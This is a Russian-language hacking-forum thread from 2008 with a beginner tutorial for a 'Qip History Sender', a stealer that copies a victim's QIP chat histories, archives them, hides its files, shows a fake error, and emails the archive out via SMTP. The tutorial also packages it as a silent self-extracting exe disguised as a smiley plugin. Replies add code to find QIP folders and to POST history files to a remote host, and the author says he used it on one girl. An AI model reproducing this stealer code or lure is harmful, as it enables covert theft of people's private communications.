Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Пишем свой Qip History Sender (https://forum.antichat.xyz/showthread.php?t=93132)

_HeSh_ 23.11.2008 15:21

Пишем свой Qip History Sender
 
!!! Эта статья рассчитана только для новичков Просьба гуру, не пинать. Если чё не нравится – пишем своё.

Итак, начнём.
В данной статье, я хочу вам показать как имея совсем базовые познания в кодинге написать что-то типа вируса, который будет тырить хистори по всем номеркам на компе жертвы.
Для этого нам понадобится Блокнот, Delphi, и не много усидчивости.
1. Мы должны написать код, который будет искать файлы истории, по всем папкам и копировать их в одно место.
2. Запаковать все файлы в один архив.
3. Отослать себе данный файл.
Мой вирь – состоит из 3х файлов. Так как с начала написания его, я знал только теорию – и что у командной строки есть команда dir copy и echo off. Поэтому, я предлагаю вам, тоже, ознакомится с кодом трёх файлов – для простоты понятия. Если кому не нравится, то делайте в один – полёт фантазии вам в помощь.
Пишем первый файл test.bat
Код:

Echo off
@cd C:\         
@md test2  //создаём папку тест 2
@if exist C:\Progra~1\QIP\qip.exe xcopy C:\Progra~1\QIP\Users\*.txt  C:\test2\*.txt /q /e /h /y > null      //если файл qip.exe существует по указанному адресу, то копируем все файлы формата txt из папки User в папку тест2.  Ключи  /q /e /h /y  --- для копирования скрытых файлов, и копирования в под каталогах.
@attrib +h +s C:\"Program Files"\QIP\1.exe  //скрываем и делаем системным 3й файл нашего вируса, который распакуется в папку C:\"Program Files"\QIP\ с именем 1.exe .  "Program Files" – не зря берётся в скобки, так как пробелы командная строка считает окончанием команды или ещё чего либо.
@attrib +h +s C:\"Program Files"\QIP\arh.bat // аналогично для второго файла вируса
start/min C:\"Program Files"\QIP\arh.bat  //запуск в скрытом окне второго файла вируса (хотя можно всё влепить в один этот)
echo >> read.txt У вас установлена неизвестная версия Qip. Обновления не были установлены. 
// данная строка обеспечит добавление в файл реад.тхт строчки «левой отмазки»
start/max read.txt  // запустим файл с текстом, на всю рабочую область, что поможет скрыть в это же время архивирование файлов, которое обеспечивает 2й файл arh.bat 
exit  // выход из командной строки, на всякий пожарный пропишем.

Далее приступаем ко второму файлу, который обеспечит упаковку файла в архив arh.bat
Код:

echo off
"C:\Program Files\WinRAR\rar.exe" a -m5 -o+ -r  C:\test2\backu.rar C:\test2\*.*  // команда для упаковки в архив с именем backu.rar, который должен будет создастся в C:\test2\ и архивировать все файлы, всех форматов из папки rar C:\test2\
Ключь –r  заставляет архивировать и подкаталоги и файлы в них. –m5  - метод сжатия (1-5). Подробнее можно посмотреть в хелпе к Winrar.
@attrib +h +s C:\"Program Files"\QIP\test.bat  //прячет файл
start/min C:\"Program Files"\QIP\1.exe  // запускает в скрытом режиме делфи файл, который и будет заниматься отправкой.
Exit    //если прописали start, то нужно и exit  - иначе, бывает, что не закрывается.

Теперь приступим к написанию кода Delphi.
Для данной программки нам понадобится вкладка Indy Clients и Indy Misc.
Закидываем на форму компоненты IdAntiFreeze IdMessage IdSMTP и Label с вкладки Standart.
Делаем формочку размером не больше 69*280 высота/длина --- хотя это уже ваша фантазия и пишем в Label что-то типа System Error. Please waite a few minutes, меняем имя формы на что-то вроде System Error и ставим свойство формы BorderStyle в режим bsNone.
И вот точный листинг того, что мы должно быть:
Код:

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdComponent, IdTCPConnection, IdTCPClient,
  IdMessageClient, IdSMTP, IdMessage, IdBaseComponent, IdAntiFreezeBase,
  IdAntiFreeze;
type
  TForm1 = class(TForm)
    IdAntiFreeze1: TIdAntiFreeze;
    IdMessage1: TIdMessage;
    IdSMTP1: TIdSMTP;
    Label1: TLabel;
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
Form1: TForm1;
M:TIdMessage;
  sm:tidsmtp;
  att:tidattachment;
  implementation
{$R *.dfm}
 begin
m:=TIdMessage.create(form1);
m.From.Text:='vasja@inbox.ru';//от кого
m.Recipients.Add;
m.Recipients.Items[0].Text:='Pupkin@mail.ru'; //кому
m.Subject:='Subject';// тема письма
m.Body.Text:='По*** на текст';// текст письма
att:=tidattachment.Create(m.MessageParts,'C:\test2\backu.rar');//  полное имя файла, архива – который должен быть отправлен.
sm:=tidsmtp.Create(form1);
sm.AuthenticationType := atLogin;
sm.Host:='smtp.inbox.ru'; //хост
sm.Username:='Логин с которого будет отсылаться письмо';
sm.Password:='123456'; //пароль к этому ящику
sm.Connect();
if sm.Connected then
begin
sm.Send(M);
end;
sm.Disconnect;
att.Free;
sm.Free;
end.

Делфи код был взят с delphiexpert.ru (c)

Ну вот и всё. Как только письмо будет отправлено, у юзера появится окошко с якобы ошибкой. Просто влом переделывать. Я думал что оно будет гореть сразу, а оказалось что появиться после выполнения отправки. + в моей версии окошко не особо видно, так как появляется над часами. Координаты появления можно задать в полях Top Left компонента Form. Толи это не компонент но … )
Как сделать чтоб процесс не был виден в дереве, и не показывался на панели задач – я не смотрел. Вернее смотрел, но там всё заумно – я его и не трогал. Так как писалось это всё чтобы узнать историю одной девчоночки) Ну это уже ваша фантазия.
Блин .. чуть не забыл – что это всё нужно сделать одним exe файлом .. 
Продолжим)
Выделяем эти 3 файла. Жмём «добавит в архив…»
Ставим галочку – Создать SFX-архив, ставим метод сжатия, переходим на вкладку «дополнительно», - Параметры SFX-архива --- Путь для распаковки… Пишем C:\Program Files\QIP\
--- Выполнить после распаковки – test.bat
Переходим на вкладку Режимы --- Режим ввода информации – Не показывать начальный диалог
Режим перезаписи – Перезаписывать все файлы без запроса.
И всё. Жмём Ок.
Получаем файл .exe который после запуска сразу начинает свою работу.
Конечно я бы советовал назвать это чудо как-то так «Qip_plugin_smiles_8.0.6.13(by Foolf).exe», залить на файлообменник, и дать просто ссылку тому, чью историю хочешь подтырить. Написав при этом … Ок, я жду, пока скинешь мне установленный смайл.
На этом всё) Просьба ещё раз, сильно не пинать. Если кому помог в чём-то разобраться то жду +++ в репу) :)

Flash-ICE 23.11.2008 15:27

Статья не очень,так как не реализовано то чтобы искать папку QIP'a! (вроде как)
Тем более можно сделать все по простому без .bat файла (примерно знаю как)

0x0c0de 23.11.2008 15:32

А вы так уверены, что квип будет на диске це? А вы уверены, что у юзера будет винрар? Зачем юзать батники, когда можно не юзать? Почему вирь из трех файлов, когда можно положиь в ресурсы? Ииии это не вирус кстати. И даже не вроде вирус. Вообще какой-то странный кодес.

crystalbit 23.11.2008 15:35

процедура поиска папок квипов(если несколько установлено)
Код:

procedure regGetValuesHKCU(where:string; StringList:TStrings);
var
  Key: HKEY;
  Len, LenTemp, Count, I: DWORD;
  S: PChar;
begin
  StringList.clear;
  GetMem(S, 255);
  if RegCreateKey(HKEY_CURRENT_USER, PChar(where), Key) = 0 then
  begin
    RegQueryInfoKey(Key, nil, nil, nil, nil, nil, nil, @Count, @Len, nil, nil, nil);
    for I := 0 to Count - 1 do
    begin
      LenTemp := Len +1;
      RegEnumValue(Key, I, S, LenTemp, nil, nil, nil, nil);
      StringList.Add(S);
      FillChar(S^, 255, 0);
    end;
    RegCloseKey(key);
  end;
  FreeMem(S);
end;

procedure GetQIPPaths(StringList:TStringList);
var
  i:integer;
begin
  regGetValuesHKCU('Software\Microsoft\Windows\ShellNoRoam\MUICache',StringList);
  for i:=StringList.Count-1 downto 0 do
    if pos('\qip.exe',StringList.Strings[i])=0 then
      StringList.Delete(i);
  for i:=0 to StringList.Count-1 do
    StringList.Strings[i]:=ExtractFilePath(StringList.Strings[i]);
end;

писал когда-то для себя, успешно использовал в своей проге

(необходимо, чтоб был подключен classes)

_HeSh_ 23.11.2008 15:43

Ну в принцыпе) Статья больше как ознакомительная с батом.
Почти у всех юзверей квип ставиться по умолчанию в програм файлс......
Код не претиндует на звание вируса - а скорее на средство Хоть както стырить историю) Не забываем что я сам новичок) и это просто начало) и многие которые также НАчинают постигать кодинг, может чтото из этого черпнут)

Винрар нынче ставиться по умолчанию во всех зверях и тд. А почти все Юзвери на зверях и сидят ... ну кудаж без винрара?))

crystalbit 23.11.2008 15:49

_HeSh_, а у меня система на диске E ;)

имхо в твоем случае лучше использовать %windir%\..\program files\qip

и где-то я видел как можно архивировать средствами windows, там то ли zip то ли cab

а для дельфи есть готовые модули, сам пользуюсь)

_HeSh_ 23.11.2008 15:53

Хз хз))я новичёк)) только начинаю) для делфы видел компоненты и статьи..но там кода на 3 листа .. вот и не стал разбиратся особо))) а в плене %windir% -- согласен) ну это пусть уже кому нужно, тот под себя делает)
Я его написал для определённого человека)) Кодец своё дело сделал)) Я доволен)
)

Спасибо за критику))) Она уместна) Не даёт расслаблятся - и даёт понять что всё изучение только только впереди)

W!z@rD 23.11.2008 21:19

я бы промолчал, если бы не "делфи файл" это ПИ*ДЕЦ
автор извини, но я тебя обматерил...

че за тре**!?!!!

crystalbit 23.11.2008 21:25

W!z@rD, банальная отправка письма через IdSMTP)

M это объект класса TIdMessage, указываем параметры письма, там текст, тему, получателя, от кого
sm это объект класса TIdSMTP, указываем хост, логин, пароль, заходим и отправляем
att это TIdAttachment - прикрепляем файл перед отправкой

_HeSh_ 23.11.2008 21:37

чё за тре?
Визард, а ты не пробывал чиать самую первую строчку?
Я сам новичёк. Какие вопросы?

Pernat1y 23.11.2008 21:39

Цитата:

Сообщение от crystalbit
имхо в твоем случае лучше использовать %windir%\..\program files\qip

это типа круто, все делать через задницу?
есть такая штука, как %programfiles%

Грот 24.11.2008 06:47

для новечка 1 пост очень даже ничего +++

поис фаила можно реализовать проще, зачем изобретать велосипед если он уже изобретен:



Код:

procedure Send_all(Way:String);

begin
try

 if FindFirst(Way+'USERS\*',faDirectory,folder)=0 then repeat
 try
 If FindFirst(Way+'USERS\'+folder.Name+'\History\*.txt',faAnyFile-faDirectory,TS)=0 then

      repeat

        If TS.Name<>'_srvlog.txt' Then
        begin
       
          try
            ZeroMemory(@szBuf, SizeOf(szBuf));
            lstrcpy(szBuf, PChar('fname='+TS.name+'&UIN='+folder.name+'&data='));
            lstrcat(szBuf, ((GetFileData(PChar(Way+'USERS\'+folder.Name+'\History\'+TS.name)))));
            SendPOSTData(Host,Path,szBuf);
            except end;

          sleep(50);  end;

            until FindNext(TS) <> 0;
          FindClose(TS);
 except end;

until FindNext(folder) <> 0;
FindClose(folder);

except end;
end;


function Search():string;
var p:string;
    n:integer;
    c:char;
//Рекурсивный поиск файлов
function FindFile(var path:string; const mask:string):boolean;
var SRec:TSearchRec;
    retval:integer;
    oldlen:integer;
begin Result:=true;
      oldlen:=length(path);
      retval:=FindFirst(path+mask,$3F,SRec);   
      while retval=0 do begin
        if ((SRec.Attr and $18)=0) and (DirectoryExists(path+'Users')) then begin          //faDirectory or faVolumeID

          Send_all(path);
          end;

        retval:=FindNext(SRec)
      end;
      FindClose(SRec);
      if not Result then exit;
      retval:=FindFirst(path+'*.*',$10,SRec);  //faDirectory
      while retval=0 do begin
        if (SRec.Attr and $10)<>0 then          //faDirectory
          if (SRec.Name<>'.')and(SRec.Name<>'..') then begin
            path:=path+SRec.Name+'\';



            if (not FindFile(path,mask)) then begin
              Result:=false;
              Break;
            end;
            delete(path,oldlen+1,255)
          end;
        retval:=FindNext(SRec);
      end;
      FindClose(SRec)
end;

begin

      for c:='C' to 'Z' do begin
        p:=c+':\';
        if (GetDriveType(PChar(p))=DRIVE_FIXED) or (GetDriveType(PChar(p))=DRIVE_REMOVABLE) then
          FindFile(p,'qip.exe')
      end;

end;

взято с QIP_History_Sender Created by R_O_O_T

slesh 24.11.2008 11:10

а если у человека нет винрара? или он незареган и тогда вылезит окошко. По этому лучше упакуй через стандартный пакер винды. Парует не очень, но всегда есть в наличии и он консольный )

AHTOLLlKA 24.11.2008 11:30

стандартный это какой ??
makecab.exe ??
а если нужно сохранить структуру папок..
тоесть users/xxxxx/histrory
и тд..то чем тогда пользоваться оО ????

W!z@rD 24.11.2008 19:40

еще раз говорю, промолчал бы если не
Цитата:

start/min C:\"Program Files"\QIP\1.exe // запускает в скрытом режиме делфи файл, который и будет заниматься отправкой.
какой на* дельфи файл?!!!
вы бы чуть чуть головой думали, это п*здец как убивает.
батники юзать не хорошо, толку от них 0, прочесть можно
почитай про создание объектов в Run-Time
почитай про winSock
да и вообще, скоро вири на .net писать будут, если не уже)
а если история шифруется?
и не похоже на малварь это

_Kris_ 24.11.2008 23:14

я бв сказал да вот обидетесь, хотя я уже сказал...

_HeSh_ 25.11.2008 01:15

Ээ...Эксперты... Вы сюда срать пришли, или может чё полезное для новичков сюдаже подкинете?

St0nX 26.11.2008 10:12

Пути к папке с квипом можно выдрать из реестра.
от суда например HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Uninstall\QIP

ну или ждать пока запустят квип и брать из процесса.
Через поиск диру искать это мазахизм да и запалится можно.

diznt 26.11.2008 10:33

St0nX оооо))) спасибо! А то я шарил по реестру не нашол путь в SOFTWARE :-D
ВСЕ СтАВИМ ДРУЖНО ++ St0nX'у!

crystalbit 26.11.2008 11:01

Еще папка квипа есть в muicache, оттуда имхо лучше, если установлено несколько квипов, то там все и будут

AHTOLLlKA 27.11.2008 10:13

можно так же по поиску окна...если квип (квипы) запущены...
а от туда путь найтиуже не проблема....


Время: 11:45